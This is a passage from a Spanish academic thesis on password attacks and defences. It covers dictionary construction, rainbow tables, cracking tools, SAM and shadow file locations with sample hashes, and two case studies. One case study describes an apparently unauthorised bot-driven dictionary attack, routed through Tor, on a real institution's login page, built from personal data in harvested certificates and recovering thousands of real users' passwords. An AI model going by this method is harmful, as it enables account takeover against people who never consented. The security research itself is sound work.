desgracia, las contraseñas que son fácilmente memorizadas por un usuario legítimo
son también fácilmente adivinadas por un atacante) [7].
Estos ataques se pueden realizar en el modo en línea (tratando sucesivamente con
posibles contraseñas hasta que un inicio de sesión tenga éxito) o en el modo fuera
de línea (se copia el archivo de sistema donde se almacena el digesto de la
contraseña, posteriormente se implementa el ataque).
CAPÍTULO 1. MARCO TEÓRICO
- 21 -
¿Cómo elaborar un diccionario de posibles contraseñas?
Un ataque de diccionario suele tener éxito si está confeccionado de manera
inteligente. La tabla 1.1 muestra algunas clases de palabras que debería tener el
diccionario, para disminuir las posibilidades de fracaso [8].
No. Recomendación1 Todas las palabras del diccionario español e inglés.2 Números del cero hasta N.3 Contraseñas por defecto (admin)4 Contraseñas comúnmente utilizadas (qwerty, 123456).5 Nombres (alejandro, karina) y diminutivos (karinita).6 Oficios y trabajos (arquitecta, ingeniera, gerente, operadores).7 Fechas en formato ddmmaaa o ddmmaa (desde el año 1900 hasta la
fecha, por cumpleaños y aniversarios).8 Contraseñas extraídas de otras bases de datos.9 Equipos de deportes favoritos (burrosblancos, cheyennes).10 Bandas de música favoritas (sodaestéreo, metálica, miranda).11 Títulos de libros o segmentos (invisiblealosojos,losjuegosdelhambre).12 Títulos de canciones (sinotehubierashido,buendía).13 Nombres propios, de parientes o seres queridos: padres, hermanos,
abuelo, abuela, bisabuelos, esposas, amantes, parejas, hijos, sobrinos,novias, ahijados y nietos.
14 Número de asociados a alguna entidad.15 Nombres de mascotas (tobby, negrita, dobby).16 Números de la suerte.17 Nombre del ISP, organización, institución o universidad, del objetivo.18 Cosas relacionadas con sus estudios, hobby o trabajo.19 Ídolos favoritos musicales, reales, ficticios o históricos (lennon, messi,
pokemon, napoleon).20 Todo aquel otro gusto o preferencia que se le conozca a la persona, como
marcas de ropa, de auto, de perfume, etcétera.21 Todos los anteriores seguidos de números en modo hibrido.22 Contraseñas que utilicen en el lugar donde se pretende hacer el ataque
informático.
Tabla 1.1. Muestra palabras que debe contener un diccionario personalizado.
CAPÍTULO 1. MARCO TEÓRICO
- 22 -
1.4.3. Tablas arcoíris (Rainbow).
En la actualidad la mayoría de los sistemas modernos ya no almacenan las
contraseñas en claro, lo que almacenan son los digestos correspondientes a las
mismas. Para optimizar el tiempo en un ataque informático, se recurre a las tablas
arcoíris.
Las tablas arcoíris son tablas que se generan previamente para obtener una
contraseña con una determinada longitud y conjunto de caracteres. El problema y
dificultad para obtener las contraseñas, es el disponer de las tablas suficientemente
grandes para romper cualquier tipo de contraseña.
Tabla 1.2. Ejemplo de tabla arcoíris.
En la tabla 1.3 se pueden ver el tamaño en disco que ocupan las tablas arcoíris
elaboradas con un conjunto de caracteres predefinido, para contraseñas que van
desde 1 carácter hasta 7 caracteres, y el tiempo de ejecución necesario para
generar la tabla usando el algoritmo hash MD5.
Digestos NT Contraseñas Mayúsculas37DB9ED5FB3A313EC1ACB0AD64882855 FRLUWROA
D43A0CEDCD4FD04A4E523DD107A29DDB SWIUJLAC40D7E272B1F4046EF4F67B52B37319F9 FRLUJLUCB9E2C9726B8A2CA5461B368D203C8027 WRLEGLUC1479943DE9210CD16E51E42115A64508 CRLAXOUGFFBB4678C1F93D0262606E736093A07F YLATROAH1294E73625A1DC392AF60620C3C2BAE1 DLAQIAPH3A7DA08236991F143D713B47F3E81854 ROUXIABI
9E30AE1174CD3F77CD5A83F915E0BF0E ZIAFIUXI4118D8B0C96695B41721A40EE1703578 CLEWRIEJ4229B6CC703F24B1EB685A949BEE5798 DOEGOEZL64B7BB771B72DE1937950F71A20A7A0C KIAFRIUN7A2AFBE3542F64F384FBEAD9F4856471 SLEYLEHO1351B02B90F1B2319113138A1CF4143C PHOEFOAP
3B0B151B8A43553B61DF0AD266CC242D BROUNIEP17CF41BFDA609F23AFFF74DC160AEBCF JOECOECRC83CE3D3CA774024013A9E68F73E8536 CLABIUDR
CAPÍTULO 1. MARCO TEÓRICO
- 23 -
Cuanto mayor sea el alfabeto en que se basa la elaboración de la tabla arcoíris,
mayor es la probabilidad de que la contraseña pertenezca a dicho conjunto de
caracteres.
Tabla 1.3. Comparativa generación de tablas arcoíris MD5.
Para utilizar las tablas arcoíris es necesario realizar tres fases, de las cuales las dos
primeras sólo necesitan realizarse una vez, mientras que la última es realizada
tantas veces como digestos se deseen romper.
1. Generación de la tabla arcoíris. En esta fase se crea la tabla arcoíris propiamente
dicha guardándola en un archivo de texto.
2. Ordenación de tabla arcoíris. En esta fase se ordena alfabéticamente la tabla
guardada en el archivo de texto. Esto es vital para la eficiencia de las tablas arcoíris
y por tanto obligatorio para el buen funcionamiento del algoritmo.
3. Uso de los digestos (Utilización de la tabla arcoíris). En esta fase se buscan los
digestos deseados en la tabla. En caso de que los encuentre nos devuelve el
resultado de la contraseña original.
Existe una gran variedad de herramientas que permiten crear tablas arcoíris y
usarlas en ataques informáticos, las cuales se describen a continuación:
John the Ripper: Implementa ataques fuera de línea, de diccionario
principalmente, trabaja en Linux y Windows [9].
Conjunto de caracteres. Tamaño dedisco.
Tiempo deejecución.
0123456789 859.375 Kb 7,357 Segundos
ABCDEFGHIJKLMNOPQRSTUVWXYZ 610,35 Mb 14,86 Horas
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 5,96 Gb 6,19 Días
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=
59,6 Gb 61,9 Días
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/
521,54 Gb 541 Días
CAPÍTULO 1. MARCO TEÓRICO
- 24 -
Ophcrack: Efectúa ataques fuera de línea utilizando tablas rainbow para recuperar
contraseñas, es multiplataforma [9].
Caín y Abel: Lleva a cabo ataques en línea y fuera de línea de los siguientes tipos:
fuerza bruta, tablas rainbow y diccionario, es una excelente herramienta para
entornos Windows [6].
THC-Hydra: Quebranta contraseñas en línea, puede ser utilizado en las siguientes
plataformas: Mac OS X (CPU Intel), Windows Y Linux [10].
1.5. Vulnerabilidades en un sistema web.
Todo sistema web lleva detrás de sí miles de líneas de código que son las
encargadas de crear tanto la parte visual de la aplicación como la funcionalidad que
ofrecen.
A la hora de programar todas esas líneas de código, es fundamental asegurarse de
que no se deja ninguna puerta abierta por la que podamos sufrir algún tipo de
ataque, problema que puede provocar desde cambiar la información del sistema
web hasta el envío continuo de mensajes de spam2 e incluso, en el peor de los
casos, obtener datos críticos que puedan poner en peligro la información de la
empresa o de los clientes.
En la actualidad podemos encontrar varios tipos de vulnerabilidades relacionadas
con la programación utilizada en sistemas web. En este documento nos
centraremos en el denominado “Cross site scripting”, también conocido por las
siglas XSS.
2 El spam es el correo electrónico no solicitado, no deseado, o de remitente desconocido, la mayoría delas veces es de tipo publicitario.
CAPÍTULO 1. MARCO TEÓRICO
- 25 -
1.5.1. XSS (Cross Site Scripting).
El XSS es un fallo de seguridad en sistemas de información basados en web, que
más que comprometer la seguridad del servidor web compromete la seguridad del
cliente.
El XSS es un ataque conocido en español con el nombre de secuencias deórdenes en sitios cruzados, consiste en inyectar código, HTML y/o JavaScript en
una aplicación web, con el objetivo de que el cliente ejecute el código inyectado al
momento de ejecutar la aplicación.
El XSS se da cuando una aplicación web permite inyectar código en la página; esto
se puede lograr por medio de campos de texto de formularios o por medio de la
URL.
El XSS puede hacer que el navegador funcione de manera indebida y en algunos
casos, llegar a provocar un fallo en el servidor. Aunque esto último es muy difícil
porque el código HTML y JavaScript se ejecutan en el navegador y no en el servidor
web.
1.6 Medidas para evitar ataques informáticos.
Es muy importante conocer los puntos débiles en un sistema web, una vez
identificados, se deben definir las medidas de seguridad adecuadas con la finalidad
de reducir los riesgos a los que pueda estar sometido, evitando que se efectúe una
amenaza. A continuación se exponen algunas medidas que se pueden tomar para
evitar ataques informáticos.
1.6.1. CAPTCHA.
Un CAPTCHA es un programa informático diseñado para diferenciar a un ser
humano de una computadora. CAPTCHA significa Completely Automated Public
test to tell Computers and Humans Apart (prueba de Turing completamente
automática y pública para diferenciar computadoras de humanos).
CAPÍTULO 1. MARCO TEÓRICO
- 26 -
De hecho, un CAPTCHA es una prueba que es fácil de pasar por un humano pero
difícil de pasar por una computadora. Los CAPTCHA´s más comunes son imágenes
distorsionadas de cadenas de texto cortas. Para un humano es generalmente muy
fácil recuperar la cadena de texto original de la imagen distorsionada, pero es difícil
para los algoritmos de reconocimiento de caracteres utilizados en una computadora
empleados para recuperar la cadena original [11].
Muchos servicios web utilizan los CAPTCHA, para tratar de evitar que los intentos
de inicio de sesión se hagan una y otra vez, actualmente se puede ver también
CAPTCHA en sitios que proporcionan acceso a información confidencial, como
cuentas bancarias o tarjetas de crédito. En la Figura 1.9 se muestran ejemplos de
CAPTCHA´s utilizados en correos electrónicos.
Figura 1.9. Ejemplos de CAPTCHA.
1.6.2. Restringir el número de intentos de inicio sesión.
Un sistema web debe tener la capacidad de establecer el número de veces que una
persona puede intentar iniciar sesión y llevar a cabo una acción una vez alcanzado
el límite. Un intento de inicio de sesión incorrecto se produce cuando una entidad
intenta acceder a la información de un usuario en concreto con una contraseña no
válida.
CAPÍTULO 1. MARCO TEÓRICO
- 27 -
IBM en su sitio web oficial, recomienda configurar en sus servidores de sistemas
web dos parámetros: QMAXSIGN (limita el número de intentos de inicio de sesión
incorrectos consecutivos) y QMAXSGNACN (especifica lo que hace el sistema si
alguien intenta iniciar la sesión demasiadas veces seguidas) como medida a tomar
ante intentos de inicio de sesión fallidos. Una vez excedido el número de intentos
de inicio de sesión permitidos, se deben tomar en cuenta las siguientes medidas
para evitar ataques informáticos [12]:
1. Impedir cualquier otro intento de inicio de sesión para el dispositivo. Esto se
denomina inhabilitar el dispositivo.
2. Impedir cualquier otro intento de inicio de sesión que permita acceder a la
información del usuario.
3. Inhabilitar tanto la información del usuario como el dispositivo.
El objetivo de algunos adversarios es adivinar contraseñas e irrumpir en los
sistemas. Limitando el número de intentos de inicio de sesión permitidos se puede
restringir sus posibilidades de acierto, además de evitar que procesos
automatizados hagan pruebas continuas. IBM recomienda establecer el valor de
máximo de intentos de inicio de sesión permitidos entre 3 y 5 [12].
1.6.3. Medidores de fortaleza de las contraseñas.
Los medidores de contraseñas, se encargan de medir la fuerza y por lo tanto, la
calidad de la misma, para ello toman como referencia la utilización de: número de
caracteres, inclusión de números/letras, signos de puntuación y combinación de
palabras mayúsculas y minúsculas entre otras combinaciones, además de tomar
como métrica la Entropía y políticas de seguridad desarrolladas por las
organizaciones que los implementan. Ante la existencia de una contraseña débil
mediante la retroalimentación de un medidor de fortaleza, existe la expectativa de
que el usuario intente mejorar la fortaleza de ésta.
CAPÍTULO 1. MARCO TEÓRICO
- 28 -
Si se utilizan en la etapa de registro, se hace desde ese momento consciente al
usuario de la importancia de elaborar una contraseña fuerte. A continuación se
muestra la contraseña alex123W insertada en diferentes medidores de fortaleza de
contraseñas.
En la Figura 1.10 se muestra el medidor del sitio GRC (Gibson Research
Corporation), empresa dedicada al desarrollo de software libre, toma la composición
de la contraseña (si son números, mayúsculas, minúsculas, caracteres especiales,
etc) como métrica para analizar su fortaleza. La calculadora muestra diversos
resultados, como el tamaño del alfabeto utilizado, el número de contraseñas
posibles en base al mismo , el tiempo necesario para buscar exhaustivamente en
diversos escenarios, como por ejemplo, un ataque en línea probando mil
posibilidades por segundo y un ataque fuera de línea probando cien mil millones y
cien trillones de conjeturas por segundo. Para este medidor de contraseñas
alex123W queda vulnerable para los dos últimos escenarios y lo hace saber
marcándolos en color rosa.
Figura 1.10. Medidor de contraseña del sitio grc.
CAPÍTULO 1. MARCO TEÓRICO
- 29 -
Figura 1.11. Medidor de contraseñas del sitio “passwordmeter”.
En la Figura 1.11 el medidor desarrollado por amplescaffolder, empresa dedicada al
desarrollo de software para la creación de bases de datos, evalúa la contraseña
con fórmulas elaboradas por ellos mismos, basadas en los malos hábitos de
formulación de los usuarios al crear contraseñas. Como sugerencia propone una
longitud mínima de 8 caracteres y que al menos tres cuartas partes de la contraseña
contenga, mayúsculas, minúsculas, números y símbolos. Al finalizar el análisis, solo
se califica el contenido de la contraseña en una escala del 0 al 100%, para la
contraseña alex123W la calificación es de 63% y se muestra en color verde, dando
a entender que es segura, en el medidor de contraseñas del sitio grc califica la
misma contraseña como vulnerable ante dos escenarios de posibles ataques e
incluso los marca en color rosa, cuestión que causa contradicción.
CAPÍTULO 1. MARCO TEÓRICO
- 30 -
Como podemos observar los medidores existentes de contraseñas, no siguen un
estándar para medirlas, algunos sólo muestran la seguridad en porcentaje, otros
sólo indican si se utilizan los caracteres adecuados y en el mejor de los casos
muestran el resultado de la entropía basada en el NIST o la entropía clásica.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 31 -
CAPITULO 2. DESARROLLO DEL PROYECTO.En este capítulo se muestran los dos casos de estudio que se realizaron en este
trabajo, uno es al análisis de seguridad a un sistema web verídico, cuya identidad
se mantendrá en anonimato por cuestiones de ética y el otro es un análisis de
manejo de contraseñas en Windows. Para que los casos de estudio sean seguidos
fácilmente por el lector, a continuación se presenta una sección de conceptos
básicos aplicados a nuestra metodología.
2.1. Tor (red de anonimato).
Tor viene de las siglas "The Onion Router" (Enrutamiento de Cebolla), es un
proyecto creado en 2003 por Roger Dingledine, Nick Mathewson y Paul Syverson
que surgió como consecuencia de la evolución del proyecto Onion Routing del
Laboratorio de Investigación Naval de los Estados Unidos. Ha sido financiado por
Electronic Frontier Foundation (2004) y la organización de defensa de libertades
civiles en el mundo digital (2015). El objetivo principal de Tor es el desarrollo de una
red de comunicaciones distribuida de baja latencia3 y superpuesta sobre internet,
en la que el encaminamiento de los mensajes intercambiados entre los usuarios no
revela su identidad, es decir, su dirección IP (anonimato a nivel de red) y que,
además, mantiene la integridad y el secreto de la información que viaja por ella.
Tor propone el uso de encaminamiento de cebolla de forma que los mensajes viajen
desde el origen al destino a través de una serie de routers especiales llamados
'routers de cebolla' (en inglés onion routers). Al instalarlo en una computadora, pone
en marcha un servidor proxy local. En la Figura 2.1 se muestra el funcionamiento
de la red Tor, un usuario envía información atreves de la red, para conservar su
anonimato pasa por diferentes nodos hasta llegar a su destino, la información
enviada conserva la dirección IP del nodo de salida de la red de anonimato,
ocultando la dirección IP de origen.
3 LATENCIA: suma de retardos temporales dentro de una red. Un retardo es producido por la demora en lapropagación y transmisión de paquetes dentro de la red.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 32 -
Figura 2.1. Muestra el funcionamiento de la red Tor.
La red funciona a partir de un conjunto de organizaciones e individuos que donan
su ancho de banda y poder de procesamiento.
2.1.1 Vidalia (Complemento de Tor).
Vidalia es una interfaz gráfica para acceder de forma sencilla a la red Tor, que
permite conectar las aplicaciones que deseemos a la misma, lo que lo hace mejor
a Tor Browser Bundle (Navegador de Tor).
Está realizado con Qt (biblioteca multiplataforma) su última versión fue lanzada el
10 de julio de 2012 y actualmente se pueden encontrar versiones relativamente
recientes de esta aplicación para Windows y Linux, aunque estas no son oficiales
y en algunos casos con modificaciones de acuerdo a ciertas necesidades de
usuarios.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 33 -
2.2. Proxy
Un proxy es una computadora intermedia que se usa en la comunicación de otras
dos. La información (generalmente en Internet) va directamente entre una
computadora y otra. Mediante un proxy, la información va primero, a la computadora
intermedia (proxy), y ésta se la envía a la computadora destino, de manera que no
existe conexión directa entre la primera y la última.
Figura 2.2. Muestra el funcionamiento de un proxy.
2.3. ¿Qué es un bot?
Un bot (aféresis de robot) es un programa informático, imitando el comportamiento
de una persona ya sea para realizar algún trabajo o incluso para responder de
alguna forma según las palabras o el contenido de algún correo. De esta forma las
automatizaciones de algunos trabajos de escritorio se han logrado automatizar en
muchas empresas. Al igual que los robots, los bots pueden ser programados para
cualquier tarea que pueda ser realizada por un programa informático actual, para
automatizar y generar el algoritmo todo depende del objetivo que se busque
alcanzar.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 34 -
2.4. AutoIt.
AutoIt es un lenguaje de script de software libre para la automatización del sistema
operativo Microsoft Windows. En sus primeras versiones, el software fue pensado
principalmente para crear scripts de automatización para los programas de Microsoft
Windows. Estas secuencias de comandos son útiles para la automatización de
tareas muy repetitivas, como el despliegue de un gran número de PCs con
instrucciones de instalación idénticos. Con las sucesivas versiones, AutoIt ha
crecido para incluir mejoras en el diseño del lenguaje de programación en rasgos
generales.
Algunas características de este software.
La sintaxis es sencilla. Estructura similar al BASIC para Windows.
Se ejecuta con rapidez, permite controlar a otros programas.
Tiene generador de macros y editor gráfico de formularios (IDE).
Sus scripts se pueden compilar en archivos ejecutables totalmente
independientes.
Usa bibliotecas y módulos complementarios {en inglés: add-on o plug-
in} para aplicaciones específicas.
Simula los movimientos del ratón.
Manipula ventanas y procesos.
Automatiza la interacción del usuario emulando pulsaciones de teclas en los
programas, y en controles individuales dentro de una aplicación.
2.5. Certificado digital.
Un Certificado Digital es un documento que vincula una llave pública con una
entidad final y que es firmado por una autoridad certificadora para demostrar su
validez e integridad.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 35 -
2.5.1. OpenSSL.
OpenSSL es un proyecto de software libre basado en SSLeay, desarrollado por Eric
Young y Tim Hudson. Consiste en un robusto paquete de herramientas de
administración y bibliotecas relacionadas con la criptografía, que suministran
funciones criptográficas a otros paquetes como OpenSSH y navegadores web (para
acceso seguro a sitios HTTPS).
Uno de los usos más comunes de OpenSSL es la creación de certificados para usar
en aplicaciones de software. Estos certificados aseguran que las credenciales de
la compañía o individuo son válidos y no son fraudulentos. Si el certificado en
cuestión no ha sido verificado por una de las diversas “autoridades certificadoras” o
CA, suele generarse una advertencia al respecto.
2.5.2. Estándar x.509 para certificados.
Es en el estándar X.509 en donde se especifica entre otras cosas formatos para
certificados digitales y un algoritmo de validación de la ruta de certificación. Los
formatos de codificación más comunes son los siguientes DER (Distinguish
Encoding Rules) o PEM (Privacy Enhanced Mail).
X.509 es la pieza central de la infraestructura de la llave pública y es la estructura
que asocia la llave pública con los datos que permiten identificar al titular.
Enseguida se muestra un esquema que describe los campos que contiene un
certificado digital bajo el estándar X.509.
Figura 2.3. Formato de los certificados X.509 v3.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 36 -
Todos los campos están escritos en formato ANS.1, y su contenido es:
Versión: El campo de versión contiene el número de versión del certificado
codificado. Los valores aceptables son 1, 2 y 3.
Número de serie del certificado: Este campo es un número entero asignado por
la autoridad certificadora. Cada certificado emitido por una CA debe tener un número
de serie único.
Identificador del algoritmo de firmado: Este campo identifica el algoritmo
empleado para firmar el certificado (como por ejemplo el RSA o el DSA).
Nombre del emisor: Este campo identifica la CA que ha firmado y emitido el
certificado.
Periodo de validez: Este campo indica el periodo de tiempo durante el cual el
certificado es válido y la CA está obligada a mantener información sobre el estado
del mismo. El campo consiste en una fecha inicial, la fecha en la que el certificado
empieza a ser válido y la fecha después de la cual el certificado deja de serlo.
Nombre del sujeto: Este campo identifica la identidad cuya llave pública está
certificada en el campo siguiente. El nombre debe ser único para cada entidad
certificada por una CA dada, aunque puede emitir más de un certificado con el
mismo nombre si es para la misma entidad.
Información de clave pública del sujeto: Este campo contiene la clave pública,
sus parámetros y el identificador del algoritmo con el que se emplea la clave.
Identificador único del emisor: Este es un campo opcional que permite reutilizarnombres de emisor.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 37 -
Identificador único del sujeto: Este es un campo opcional que permite reutilizar
nombres de sujeto.
Extensiones: Una parte importante de los certificados digitales es el campo
"Extensiones", en el cual se puede agregar información propia de la aplicación de
firma electrónica que se desarrolla, por ejemplo, el ID de empleado, ID de
funcionario o Matricula de estudiante.
2.6. Manejo de contraseñas en sistemas operativos.
Como se ha mencionado anteriormente, para almacenar las primitivas
criptográficas denominadas digestos se utilizan archivos de registro, los cuales su
ubicación puede variar de acuerdo al sistema operativo.
2.6.1 WINDOWS
En Windows el Administrador de Cuentas de Seguridad (SAM, por sus siglas en
inglés) de Windows es una base de datos almacenada como un archivo del registro
en Windows NT, Windows 2000, y versiones posteriores de Microsoft Windows.
Almacena las contraseñas de los usuarios en forma de digestos. SAM está en la
siguiente dirección.
C:\WINDOWS\system32\config\SAM
Un digesto del archivo SAM luce así:Administrador:500:5AC9FFFB9464FFA6B9136263703A79E8:9E65AAFF0C32CD68C624B442A07E369D:::.
2.6.2. SHADOW
En Linux, Solaris o Unix, los usuarios y los digestos (basados, por lo general en
algoritmo DES, SHA-1 o MD5) de sus contraseñas (incluyendo root) se ubican
usualmente en el archivo /etc/shadow, y luce de esta manera:homero:$1$9XSaYyhK$ZtVQCiSRf1mjgLvlCksZw0:12488:0:99999:7:::.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 38 -
2.7. ANALISIS DE SEGURIDAD A UN SISTEMA WEB.
El sistema web objeto de estudio en esta sección, se encuentra disponible desde
cualquier navegador, por lo tanto se efectuó un ataque en línea. La hipótesis era
qué tan fácil o difícil sería, con los conocimientos teóricos previamente adquiridos,
obtener contraseñas de usuarios. Es importante saber que al registrarse los
usuarios en el sistema web se les a proporcionado un certificado digital que está
ligado a su llave pública en donde existe información de carácter público.
Se obtuvieron certificados digitales expedidos por una institución en formato .cer,
los cuales vinculan información que identifica a los usuarios del sistema a su llave
pública. Dichos certificados son expedidos de acuerdo al estándar X.509 en donde
se encuentran datos que a pesar de ser información pública pueden dar origen a un
ataque informático.
Con un programa elaborado en C, compilado en LINUX se construyó una instrucción
de OpenSSL, cuya finalidad es convertir el formato original de los certificados (.cer)
al formato .pem, con el objetivo de facilitar la lectura de los mismos en la terminal
de Linux, ya que en el formato original no es posible.
En el mismo programa se construyeron instrucciones de Openssl, que solicitan los
siguientes datos de los certificados digitales: CURP (NUMERO DE SERIE), RFC,
EMAIL, Y NOMBRE, y los almacena en un archivo de texto.
Figura 2.4. Muestra algunos campos de un certificado digital.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 39 -
Nota: No se muestran los certificados originales recabados por cuestionesde ética.Este programa respeta la estructura que utiliza la institución para almacenarlos, a
continuación se muestra el diagrama de flujo de procesos que realiza el programa
anteriormente descrito.
Figura 2.5. Muestra el diagrama de flujo de procesos del programa deanálisis de certificados.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 40 -
Posteriormente, en el software postgresql se creó una base de datos que está
constituida por una tabla que contiene la siguiente información:
USUARIO, Contiene los siguientes atributos: CURP, DIA, MES Y AÑO DE
NACIMIENTO, RFC, MAIL Y NOMBRE.
Figura 2.6. Base de datos en claro utilizada.
En la base de datos creada, se insertaron los datos anteriormente almacenados en
un archivo de texto. Mediante instrucciones de postgresql se separaron los datos
que se necesitaban para generar diccionarios de usuarios válidos y posibles
contraseñas.
Como usuarios se consideró el RFC de cada certificado y para posible contraseña
se tomó el mismo, truncado a los primeros 8 caracteres. De esta manera se generó
un archivo de texto con usuarios válidos y otro con las posibles contraseñas.
Muchas organizaciones, suelen tener más de una versión disponible de sus
sistemas web, desafortunadamente si no son dados de baja, en estos aplicativos
que se construyeron anteriormente quedan alojadas y disponibles vulnerabilidades
que se pueden explotar, para este caso de estudio sucedió esto, para mayor
información referimos al lector al capítulo 1 sección 1.5.1.
Se detectaron 3 páginas vulnerables a la inyección de datos, unas lo permitían
parcialmente y otras en su totalidad, se analizó el código HTML con herramientas
proporcionadas por los navegadores web, para descartar las que no serian útiles.
De cada una de las páginas posibles se detectaron los campos que se necesitaban
para la inyección de datos y validación: el campo usuario, contraseña y el botón
submit.
USUARIOCURPDIAMESAÑORFCE-MAILNOMBRE
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 41 -
Una vez teniendo las vulnerabilidades detectadas en el formulario HTML de la
página seleccionada, se procedió a elaborar un bot, para simular la etapa de inicio
de sesión de un usuario.
Existen herramientas que ayudan a programar bots, por la facilidad de bibliotecas
prediseñadas para el navegador Internet Explorer se utilizó AutoIt.
El bot programado realiza las siguientes acciones por cada intento de inicio de
sesión:
1.- Abre la aplicación (Internet Explorer) mediante una instrucción de CMD.
2.-Carga la página web vulnerable.
3.-Localiza los campos del formulario HTML susceptibles a inyección de datos:
Ecom_User_ID y Ecom_Password.
4.- En dichos campos inserta el usuario valido de la lista usuarios y la posible
contraseña de la lista de contraseñas, después simula un clic en el botón submit.
5.- Hace una comparación para saber si la url ha cambiado.
6.- Si la url cambia, el usuario y la contraseña se guardan en un archivo de texto
llamado correctos.
7.- Cierra la aplicación (Internet Explorer) con una instrucción de cmd.
A continuación se muestra de manera generalizada, en un diagrama de flujo de
procesos, lo que realiza el bot programado.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 43 -
A continuación se muestra el diagrama de secuencia en donde se observan las
acciones fundamentales de este programa, tales como el envío de un
usuario/contraseña y la espera de la respuesta del servidor para tomar una decisión,
además de notarse la presencia de dos entidades: El bot programado que simula
un usuario y el servidor.
Figura 2.8. Diagrama de secuencia.
Otra característica importante que hay que tomar en consideración cuando un
oponente está tratando de vulnerar un sistema, es que intentará mantener su
identidad oculta, para lo cual se pueden ocupar herramientas como Tor y vidalia que
permiten anonimizar la dirección IP de origen desde donde se implementa el ataque
informático. Es por eso que el tráfico de datos de la aplicación Internet Explorer fue
desviado a la red Tor, con la finalidad de proteger la identidad del origen del ataque,
(ya que cada cierto tiempo Tor cambia la dirección IP) lo que permite probar
continuamente usuarios y contraseñas.
Existe una serie de factores que influyen en la eficacia de un ataque informático,
como la velocidad de Internet, tiempo de respuesta del servidor, poder de computo,
etc. En un ataque en línea no es posible controlar algunas variantes.
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 44 -
Al ejecutar el bot, se detectó que el tiempo que se le daba a la aplicación Internet
Explorer en la programación del mismo, para efectuar la carga de datos y envió, era
insuficiente, por lo que se ajustó el tiempo empíricamente en base al tiempo
promedio más una tolerancia.
Con las correcciones de tiempo efectuadas en la programación del bot, nuevamente
se ejecutó y se observó que trabajaba de acuerdo a lo esperado y empezó a
generar resultados.
2.8. Análisis del manejo de contraseñas en Windows.
Se realizó un estudio del manejo de las contraseñas en Windows, para ello se
generaron 125 contraseñas aleatorias de 8 caracteres con una herramienta
disponible en internet diseñada por NORTON (Norton AntiVirus). En la Tabla 2.1 se
muestra la cantidad de contraseñas generadas, los tipos de contraseñas
(numéricas, minúsculas, etc.) y un ejemplo.
Tabla 2.1. Muestra tipos de contraseñas generadas.
Posteriormente para las 25 contraseñas numéricas, se crearon 25 usuarios con
privilegios de administrador en el sistema operativo Windows 7, al término de esto
se procedió a recuperar la SAM originada con los digestos de los usuarios.
Cantidad Tipos de contraseñas. Ejemplo
25 Numéricas. 62209933
25 Minúsculas Niuqlenl
25 Mayúsculas. OQLPKNKD
25 Mayúsculas y minúscula OHdQhxoC
25 Mayúsculas, minúsculas, números y caracteres
especiales (@#$%^&*()_+=~`[]{}|\:;"'<>,.?/.).
Map*7rAm
CAPÍTULO 2. DESARROLLO DEL PROYECTO
- 45 -
Lo mismo se realizó con los 4 tipos de contraseñas restantes, obteniendo un total
de 5 archivos SAM, cada uno con 25 digestos.
Después, se alimentaron los 5 archivos SAM a la herramienta Caín y Abel, esto con
la finalidad de implementar un ataque de fuerza bruta de acuerdo a las
características de las contraseñas, a continuación en la tabla se muestra la
configuración de la herramienta para los diferentes tipos de contraseñas:
FicheroSAM
Tipo decontraseñas.
Cantidad. Configuración de la herramienta.
1 Numéricas. 25 Fuerza bruta con los siguientes caracteres:
0,1,2,3,4,5,6,7,8,9
2 Minúsculas. 25 Fuerza bruta con los siguientes caracteres:
Abcdefghijklmnñopqrstuvwxyz
3 Mayúsculas. 25 Fuerza bruta con los siguientes caracteres:
ABCDEFGHIJKLMNÑOPQRSTUVWXYZ
4 Mayúsculas y
minúsculas.
25 Fuerza bruta con los siguientes caracteres:
abcdefghijklmnñopqrstuvwxyz
ABCDEFGHIJKLMNÑOPQRSTUVWXYZ
5 Mayúsculas,
minúsculas,
números y
caracteres
especiales.
25 Fuerza bruta con los siguientes caracteres:
0,1,2,3,4,5,6,7,8,9
abcdefghijklmnñopqrstuvwxyz
ABCDEFGHIJKLMNÑOPQRSTUVWXYZ
@#$%^&*()_+=~`[]{}|\:;"'<>,.?/.
Tabla 2.2. Muestra configuración de la herramienta.
CAPÍTULO 3. RESULTADOS Y CONCLUSIONES
- 46 -
CAPITULO 3. RESULTADOS PRÁCTICOS.3.1 Ataque en línea.
De un análisis de 160,359 usuarios se obtuvieron 5,393 contraseñas mediante un
ataque de diccionario, lo que representa el 3.36% del total de las contraseñas. Es
impactante que con una estrategia básica, se obtuvieran estos resultados.
A continuación en la Figura 3.1, se muestran los resultados obtenidos de este caso
de estudio en una gráfica.
Figura 3.1. Porcentaje de contraseñas recuperadas mediante el ataque dediccionario.
Ataque de diccionario (En línea).
Total de contraseñas. Contraseñas recuperadas.
CAPÍTULO 3. RESULTADOS Y CONCLUSIONES
- 47 -
3.2. Ataque fuera de línea.
De un análisis de 125 contraseñas se recuperaron 76 contraseñas gracias a la
herramienta Cain y Abel con la cual se implementó un ataque de fuerza bruta, lo
que representa el 60.8% del total de contraseñas, En la Figura 3.2, se muestran los
resultados obtenidos de este caso de estudio en una gráfica
Figura 3.2. Porcentaje de contraseñas recuperadas mediante ataque defuerza bruta.
En la Tabla 3.1 se muestra el tiempo que tardó la herramienta Cain y Abel en
recuperar los diferentes tipos de contraseñas.
Tipos de contraseñas. Numero de contraseñasrecuperadas.
Tiempo de recuperación.
Numéricas. 25 1 minuto.
Minúsculas. 25 8 horas 16 minutos.
Mayúsculas. 25 8 horas.
Mayúsculas y minúsculas. 1 120 horas.
Mayúsculas, minúsculas, númerosy caracteres especiales.
0 240 horas.
TOTAL 76 376 horas 17 minutos
Tabla 3.1. Muestra tiempo de recuperación de las contraseñas generadas.
